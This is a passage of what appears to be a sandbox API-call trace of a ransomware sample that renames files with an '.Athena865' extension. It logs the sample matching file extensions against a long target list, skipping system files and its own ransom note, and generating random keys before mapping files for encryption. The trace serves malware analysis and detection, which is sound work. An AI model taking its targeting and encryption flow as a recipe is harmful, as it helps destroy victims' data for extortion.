(lpString="fdb") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0049.536] lstrlenW (lpString="fic") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0049.536] lstrlenW (lpString="flexolibrary") returned 12 [0049.536] lstrcmpiW (lpString1="ri2-3ecf.png", lpString2="flexolibrary") returned 1 [0049.536] lstrlenW (lpString="fm5") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0049.536] lstrlenW (lpString="fmp") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0049.536] lstrlenW (lpString="fmp12") returned 5 [0049.536] lstrcmpiW (lpString1="f.png", lpString2="fmp12") returned -1 [0049.536] lstrlenW (lpString="fmpsl") returned 5 [0049.536] lstrcmpiW (lpString1="f.png", lpString2="fmpsl") returned -1 [0049.536] lstrlenW (lpString="fol") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0049.536] lstrlenW (lpString="fp3") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0049.536] lstrlenW (lpString="fp4") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0049.536] lstrlenW (lpString="fp5") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0049.536] lstrlenW (lpString="fp7") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0049.536] lstrlenW (lpString="fpt") returned 3 [0049.536] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0049.537] lstrlenW (lpString="frm") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0049.537] lstrlenW (lpString="gdb") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0049.537] lstrlenW (lpString="gdb") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0049.537] lstrlenW (lpString="grdb") returned 4 [0049.537] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0049.537] lstrlenW (lpString="gwi") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0049.537] lstrlenW (lpString="hdb") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0049.537] lstrlenW (lpString="his") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0049.537] lstrlenW (lpString="ib") returned 2 [0049.537] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0049.537] lstrlenW (lpString="idb") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0049.537] lstrlenW (lpString="ihx") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0049.537] lstrlenW (lpString="itdb") returned 4 [0049.537] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0049.537] lstrlenW (lpString="itw") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0049.537] lstrlenW (lpString="jet") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0049.537] lstrlenW (lpString="jtx") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0049.537] lstrlenW (lpString="kdb") returned 3 [0049.537] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0049.537] lstrlenW (lpString="kexi") returned 4 [0049.537] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0049.537] lstrlenW (lpString="kexic") returned 5 [0049.538] lstrcmpiW (lpString1="f.png", lpString2="kexic") returned -1 [0049.538] lstrlenW (lpString="kexis") returned 5 [0049.538] lstrcmpiW (lpString1="f.png", lpString2="kexis") returned -1 [0049.538] lstrlenW (lpString="lgc") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0049.538] lstrlenW (lpString="lwx") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0049.538] lstrlenW (lpString="maf") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0049.538] lstrlenW (lpString="maq") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0049.538] lstrlenW (lpString="mar") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0049.538] lstrlenW (lpString="marshal") returned 7 [0049.538] lstrcmpiW (lpString1="ecf.png", lpString2="marshal") returned -1 [0049.538] lstrlenW (lpString="mas") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0049.538] lstrlenW (lpString="mav") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0049.538] lstrlenW (lpString="maw") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0049.538] lstrlenW (lpString="mdbhtml") returned 7 [0049.538] lstrcmpiW (lpString1="ecf.png", lpString2="mdbhtml") returned -1 [0049.538] lstrlenW (lpString="mdn") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0049.538] lstrlenW (lpString="mdt") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0049.538] lstrlenW (lpString="mfd") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0049.538] lstrlenW (lpString="mpd") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0049.538] lstrlenW (lpString="mrg") returned 3 [0049.538] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0049.539] lstrlenW (lpString="mud") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0049.539] lstrlenW (lpString="mwb") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0049.539] lstrlenW (lpString="myd") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0049.539] lstrlenW (lpString="ndf") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0049.539] lstrlenW (lpString="nnt") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0049.539] lstrlenW (lpString="nrmlib") returned 6 [0049.539] lstrcmpiW (lpString1="cf.png", lpString2="nrmlib") returned -1 [0049.539] lstrlenW (lpString="ns2") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0049.539] lstrlenW (lpString="ns3") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0049.539] lstrlenW (lpString="ns4") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0049.539] lstrlenW (lpString="nsf") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0049.539] lstrlenW (lpString="nv") returned 2 [0049.539] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0049.539] lstrlenW (lpString="nv2") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0049.539] lstrlenW (lpString="nwdb") returned 4 [0049.539] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0049.539] lstrlenW (lpString="nyf") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0049.539] lstrlenW (lpString="odb") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0049.539] lstrlenW (lpString="odb") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0049.539] lstrlenW (lpString="oqy") returned 3 [0049.539] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0049.540] lstrlenW (lpString="ora") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0049.540] lstrlenW (lpString="orx") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0049.540] lstrlenW (lpString="owc") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0049.540] lstrlenW (lpString="p96") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0049.540] lstrlenW (lpString="p97") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0049.540] lstrlenW (lpString="pan") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0049.540] lstrlenW (lpString="pdb") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0049.540] lstrlenW (lpString="pdm") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0049.540] lstrlenW (lpString="pnz") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0049.540] lstrlenW (lpString="qry") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0049.540] lstrlenW (lpString="qvd") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0049.540] lstrlenW (lpString="rbf") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0049.540] lstrlenW (lpString="rctd") returned 4 [0049.540] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0049.540] lstrlenW (lpString="rod") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0049.540] lstrlenW (lpString="rodx") returned 4 [0049.540] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0049.540] lstrlenW (lpString="rpd") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0049.540] lstrlenW (lpString="rsd") returned 3 [0049.540] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0049.540] lstrlenW (lpString="sas7bdat") returned 8 [0049.541] lstrcmpiW (lpString1="3ecf.png", lpString2="sas7bdat") returned -1 [0049.541] lstrlenW (lpString="sbf") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0049.541] lstrlenW (lpString="scx") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0049.541] lstrlenW (lpString="sdb") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0049.541] lstrlenW (lpString="sdc") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0049.541] lstrlenW (lpString="sdf") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0049.541] lstrlenW (lpString="sis") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0049.541] lstrlenW (lpString="spq") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0049.541] lstrlenW (lpString="te") returned 2 [0049.541] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0049.541] lstrlenW (lpString="teacher") returned 7 [0049.541] lstrcmpiW (lpString1="ecf.png", lpString2="teacher") returned -1 [0049.541] lstrlenW (lpString="tmd") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0049.541] lstrlenW (lpString="tps") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0049.541] lstrlenW (lpString="trc") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0049.541] lstrlenW (lpString="trc") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0049.541] lstrlenW (lpString="trm") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0049.541] lstrlenW (lpString="udb") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0049.541] lstrlenW (lpString="udl") returned 3 [0049.541] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0049.541] lstrlenW (lpString="usr") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0049.542] lstrlenW (lpString="v12") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0049.542] lstrlenW (lpString="vis") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0049.542] lstrlenW (lpString="vpd") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0049.542] lstrlenW (lpString="vvv") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0049.542] lstrlenW (lpString="wdb") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0049.542] lstrlenW (lpString="wmdb") returned 4 [0049.542] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0049.542] lstrlenW (lpString="wrk") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0049.542] lstrlenW (lpString="xdb") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0049.542] lstrlenW (lpString="xld") returned 3 [0049.542] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0049.542] lstrlenW (lpString="xmlff") returned 5 [0049.542] lstrcmpiW (lpString1="f.png", lpString2="xmlff") returned -1 [0049.542] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\0c5kw1m6nMri2-3ecf.png.Athena865") returned 96 [0049.542] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\0c5kw1m6nMri2-3ecf.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\0c5kw1m6nmri2-3ecf.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\0c5kw1m6nMri2-3ecf.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\0c5kw1m6nmri2-3ecf.png.athena865"), dwFlags=0x1) returned 1 [0049.543] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\0c5kw1m6nMri2-3ecf.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\0c5kw1m6nmri2-3ecf.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.543] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30047) returned 1 [0049.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.544] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.544] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.544] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.545] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7860, lpName=0x0) returned 0x17c [0049.545] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7860) returned 0x100000 [0049.546] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.546] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.547] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.547] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.548] CloseHandle (hObject=0x17c) returned 1 [0049.548] CloseHandle (hObject=0x154) returned 1 [0049.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.549] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf165870, ftCreationTime.dwHighDateTime=0x1d4d49b, ftLastAccessTime.dwLowDateTime=0xdee57220, ftLastAccessTime.dwHighDateTime=0x1d4ca8f, ftLastWriteTime.dwLowDateTime=0xdee57220, ftLastWriteTime.dwHighDateTime=0x1d4ca8f, nFileSizeHigh=0x0, nFileSizeLow=0x10d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23K6.csv", cAlternateFileName="")) returned 1 [0049.549] lstrcmpiW (lpString1="23K6.csv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2=".") returned 1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="..") returned 1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="windows") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="bootmgr") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="temp") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="pagefile.sys") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="boot") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="ids.txt") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="ntuser.dat") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="perflogs") returned -1 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2="MSBuild") returned -1 [0049.550] lstrlenW (lpString="23K6.csv") returned 8 [0049.550] lstrcpyW (in: lpString1=0x241e8c8, lpString2="23K6.csv" | out: lpString1="23K6.csv") returned="23K6.csv" [0049.550] lstrlenW (lpString="23K6.csv") returned 8 [0049.550] lstrlenW (lpString="Athena865") returned 9 [0049.550] lstrlenW (lpString=".dll") returned 4 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2=".dll") returned 1 [0049.550] lstrlenW (lpString=".lnk") returned 4 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2=".lnk") returned 1 [0049.550] lstrlenW (lpString=".ini") returned 4 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2=".ini") returned 1 [0049.550] lstrlenW (lpString=".sys") returned 4 [0049.550] lstrcmpiW (lpString1="23K6.csv", lpString2=".sys") returned 1 [0049.550] lstrlenW (lpString="23K6.csv") returned 8 [0049.550] lstrlenW (lpString="bak") returned 3 [0049.550] lstrcmpiW (lpString1="csv", lpString2="bak") returned 1 [0049.550] lstrlenW (lpString="ba_") returned 3 [0049.550] lstrcmpiW (lpString1="csv", lpString2="ba_") returned 1 [0049.550] lstrlenW (lpString="dbb") returned 3 [0049.550] lstrcmpiW (lpString1="csv", lpString2="dbb") returned -1 [0049.551] lstrlenW (lpString="vmdk") returned 4 [0049.551] lstrcmpiW (lpString1=".csv", lpString2="vmdk") returned -1 [0049.551] lstrlenW (lpString="rar") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="rar") returned -1 [0049.551] lstrlenW (lpString="zip") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="zip") returned -1 [0049.551] lstrlenW (lpString="tgz") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="tgz") returned -1 [0049.551] lstrlenW (lpString="vbox") returned 4 [0049.551] lstrcmpiW (lpString1=".csv", lpString2="vbox") returned -1 [0049.551] lstrlenW (lpString="vdi") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="vdi") returned -1 [0049.551] lstrlenW (lpString="vhd") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="vhd") returned -1 [0049.551] lstrlenW (lpString="vhdx") returned 4 [0049.551] lstrcmpiW (lpString1=".csv", lpString2="vhdx") returned -1 [0049.551] lstrlenW (lpString="avhd") returned 4 [0049.551] lstrcmpiW (lpString1=".csv", lpString2="avhd") returned -1 [0049.551] lstrlenW (lpString="db") returned 2 [0049.551] lstrcmpiW (lpString1="sv", lpString2="db") returned 1 [0049.551] lstrlenW (lpString="db2") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="db2") returned -1 [0049.551] lstrlenW (lpString="db3") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="db3") returned -1 [0049.551] lstrlenW (lpString="dbf") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="dbf") returned -1 [0049.551] lstrlenW (lpString="mdf") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="mdf") returned -1 [0049.551] lstrlenW (lpString="mdb") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="mdb") returned -1 [0049.551] lstrlenW (lpString="sql") returned 3 [0049.551] lstrcmpiW (lpString1="csv", lpString2="sql") returned -1 [0049.552] lstrlenW (lpString="sqlite") returned 6 [0049.552] lstrcmpiW (lpString1="K6.csv", lpString2="sqlite") returned -1 [0049.552] lstrlenW (lpString="sqlite3") returned 7 [0049.552] lstrcmpiW (lpString1="3K6.csv", lpString2="sqlite3") returned -1 [0049.552] lstrlenW (lpString="sqlitedb") returned 8 [0049.552] lstrlenW (lpString="xml") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="xml") returned -1 [0049.552] lstrlenW (lpString="$er") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="$er") returned 1 [0049.552] lstrlenW (lpString="4dd") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="4dd") returned 1 [0049.552] lstrlenW (lpString="4dl") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="4dl") returned 1 [0049.552] lstrlenW (lpString="^^^") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="^^^") returned 1 [0049.552] lstrlenW (lpString="abs") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="abs") returned 1 [0049.552] lstrlenW (lpString="abx") returned 3 [0049.552] lstrcmpiW (lpString1="csv", lpString2="abx") returned 1 [0049.552] lstrlenW (lpString="accdb") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accdb") returned -1 [0049.552] lstrlenW (lpString="accdc") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accdc") returned -1 [0049.552] lstrlenW (lpString="accde") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accde") returned -1 [0049.552] lstrlenW (lpString="accdr") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accdr") returned -1 [0049.552] lstrlenW (lpString="accdt") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accdt") returned -1 [0049.552] lstrlenW (lpString="accdw") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accdw") returned -1 [0049.552] lstrlenW (lpString="accft") returned 5 [0049.552] lstrcmpiW (lpString1="6.csv", lpString2="accft") returned -1 [0049.552] lstrlenW (lpString="adb") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="adb") returned 1 [0049.553] lstrlenW (lpString="adb") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="adb") returned 1 [0049.553] lstrlenW (lpString="ade") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="ade") returned 1 [0049.553] lstrlenW (lpString="adf") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="adf") returned 1 [0049.553] lstrlenW (lpString="adn") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="adn") returned 1 [0049.553] lstrlenW (lpString="adp") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="adp") returned 1 [0049.553] lstrlenW (lpString="alf") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="alf") returned 1 [0049.553] lstrlenW (lpString="ask") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="ask") returned 1 [0049.553] lstrlenW (lpString="btr") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="btr") returned 1 [0049.553] lstrlenW (lpString="cat") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="cat") returned 1 [0049.553] lstrlenW (lpString="cdb") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="cdb") returned 1 [0049.553] lstrlenW (lpString="ckp") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="ckp") returned 1 [0049.553] lstrlenW (lpString="cma") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="cma") returned 1 [0049.553] lstrlenW (lpString="cpd") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="cpd") returned 1 [0049.553] lstrlenW (lpString="dacpac") returned 6 [0049.553] lstrcmpiW (lpString1="K6.csv", lpString2="dacpac") returned 1 [0049.553] lstrlenW (lpString="dad") returned 3 [0049.553] lstrcmpiW (lpString1="csv", lpString2="dad") returned -1 [0049.553] lstrlenW (lpString="dadiagrams") returned 10 [0049.553] lstrlenW (lpString="daschema") returned 8 [0049.553] lstrlenW (lpString="db-journal") returned 10 [0049.554] lstrlenW (lpString="db-shm") returned 6 [0049.554] lstrcmpiW (lpString1="K6.csv", lpString2="db-shm") returned 1 [0049.554] lstrlenW (lpString="db-wal") returned 6 [0049.554] lstrcmpiW (lpString1="K6.csv", lpString2="db-wal") returned 1 [0049.554] lstrlenW (lpString="dbc") returned 3 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dbc") returned -1 [0049.554] lstrlenW (lpString="dbs") returned 3 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dbs") returned -1 [0049.554] lstrlenW (lpString="dbt") returned 3 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dbt") returned -1 [0049.554] lstrlenW (lpString="dbv") returned 3 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dbv") returned -1 [0049.554] lstrlenW (lpString="dbx") returned 3 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dbx") returned -1 [0049.554] lstrlenW (lpString="dcb") returned 3 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dcb") returned -1 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dct") returned -1 [0049.554] lstrcmpiW (lpString1="csv", lpString2="dcx") returned -1 [0049.554] lstrcmpiW (lpString1="csv", lpString2="ddl") returned -1 [0049.554] lstrcmpiW (lpString1=".csv", lpString2="dlis") returned -1 [0049.554] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\23K6.csv.Athena865") returned 82 [0049.554] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\23K6.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\23k6.csv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\23K6.csv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\23k6.csv.athena865"), dwFlags=0x1) returned 1 [0049.558] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\23K6.csv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\23k6.csv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.558] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: 